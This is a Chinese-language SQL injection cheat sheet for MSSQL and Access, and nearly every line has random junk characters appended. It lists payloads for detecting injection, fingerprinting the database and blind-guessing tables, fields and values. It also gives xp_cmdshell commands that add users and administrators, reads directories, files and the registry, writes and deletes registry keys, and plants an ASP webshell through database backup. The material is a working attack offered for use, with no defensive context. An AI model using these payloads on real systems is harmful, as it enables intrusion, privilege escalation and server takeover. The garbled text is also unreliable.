1.判断是否有注入;and 1=1 ;and 1=2 $|YIr7?R
2.初步判断是否是mssql ;and user>0 Q( KLx )
0fPqO2
3.注入参数是字符'and [查询条件] and ''=' %?EOD=e=
*<! W k\
4.搜索时没过滤参数的'and [查询条件] and '%25'=' =`X@+~%-
#={L!"3?e
5.判断数据库系统 D4r5wc%
FBcF
;and (select count(*) from sysobjects)>0 mssql yX(6C]D
n]@+<TA<uA
;and (select count(*) from msysobjects)>0 access <nj[=C4v
v=|BqG`
OI.2C F
soZw""|v
6.猜数据库 ;and (select Count(*) from [数据库名])>0
Xze
s%z'1KPS
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 6Bp{FOj:Ss
v|Tg %
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 UG>OL2m>5
K`FgU7g{
9.(1)猜字段的ascii值(access) ^[CD- #
%f&(U/
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 morI'6N
|pp @
(2)猜字段的ascii值(mssql) ?8(`tS(_?
S~F:%@,*
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 43-%")bH
~]/X,Cf
10.测试权限结构(mssql) |7/B20
#~.i\|VL
/)de`k"
7Yxy2[
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9,'5~+7
8'B\%.+"8e
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Prhq ~oI4
4T9hT~cT7
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- KX)xCR~
4W.;p"S2
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3_T'TzQu
C)z[Blt
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- $_Qo
A0rdQmrOL
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @WEem(@
ojVpw4y.
;and 1=(select IS_MEMBER('db_owner'));-- =,[46 ;q
4_N)1u !
i&>,aiH@
J5Fg]O*
11.添加mssql和系统的帐户 '{cN~A2b4
z[v5hhI)4
;exec master.dbo.sp_addlogin username;-- %1VMwqC]E
;exec master.dbo.sp_password null,username,password;-- ;^DUtr
;
W'XMC"
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- |-_5ouN.
45j+n.9=
;exec master.dbo.xp_cmdshell 'net user username password :/vB,JC
U&3*c+B4
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- hDlk! #*
RC (v#G
;exec master.dbo.xp_cmdshell 'net user username password /add';-- AD?DIE(v
q 8=u.T
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 6ddkUPTF
/2dK*v0
m4Wn$Z
E}@8sY L
12.(1)遍历目录 pN0c'COy^
:
1fik
;create table dirs(paths varchar(100), id int) faO8
&
UWn}0:6t
;insert dirs exec master.dbo.xp_dirtree 'c:\' mZ;yk(
cfeX(0
;and (select top 1 paths from dirs)>0
}aNiO85
38q@4U=aiw
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) D hZtiqL#_
j|`{
1`'
-;P<Q`{I
N^
D/}n
(2)遍历目录 Rc6
)v
BE"nyTQ
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- uaPBM<
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Msd!4TrBJ
!W%HAlUAG[
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 X^|oY]D
zK-hNDFL{
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 \aZ(@eF@@Q
0= 'DDy
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Ab2g),;c
B?0{=u
j^%i?BWw
btOTDqG`a
13.mssql中的存储过程 =H,cwSE+%
!7xp<=
xp_regenumvalues 注册表根键, 子键 CMBW]b|
|Lhz^5/
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 oy r2lfz*
|~HlNUPR
xp_regread 根键,子键,键值名 R NA03
amBz75N{
;exec xp_regread :x{Q
:):Y6)giBD
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 /XSPVc<
b(SV_.4,'
xp_regwrite 根键,子键, 值名, 值类型, 值 f0D Ch]
$k`8Zx w
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 @^` <iTK&p
4*+EUJ|
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 7@lXN8_f
]F@md(J
xp_regdeletevalue 根键,子键,值名 }a9C/t3
Nr[Rp
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 \OU+Kl<
zDl, bLiJ
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 42wcpSp
Mb>6.l
5pok%g
*[SsvlFt
14.mssql的backup创建webshell H*\[:tPa
)2FO+_K?T
use model tH'VV-!MZ
poe Xi\e!(
create table cmd(str image); OpL 6Y+<
zJnVO$A'
insert into cmd(str) values (''); }=|ZEhtOp
-1_Z*?=-
backup database model to disk='c:\l.asp'; {cv;S2
_#gsR"FZ$
7k\7G=
lXPn]iLJ
15.mssql内置函数 ya_'Oz!C
U2AGH2emw
;and (select @@version)>0 获得Windows的版本号 vLS9V/o
kW!:bh
;and user_name()='dbo' 判断当前系统的连接用户是不是sa =P#!>*\ar
\a6)t%u
;and (select user_name())>0 爆当前系统的连接用户 %f-<ol
$dnHUBB
;and (select db_name())>0 得到当前连接的数据库 Nb#7&_f=
lBn*G&(P
iTt=aQjd
5HbTgNI
16.简洁的webshell Eo Urc9G2
3EZw F
use model =CVT8(N*
hX_p5a1t
create table cmd(str image); cLU*Tx\
Q$vr`yV#=6
insert into cmd(str) values (''); 9(l'xu X
=_dd4`G&<
backup database model to disk='g:\wwwtest\l.asp';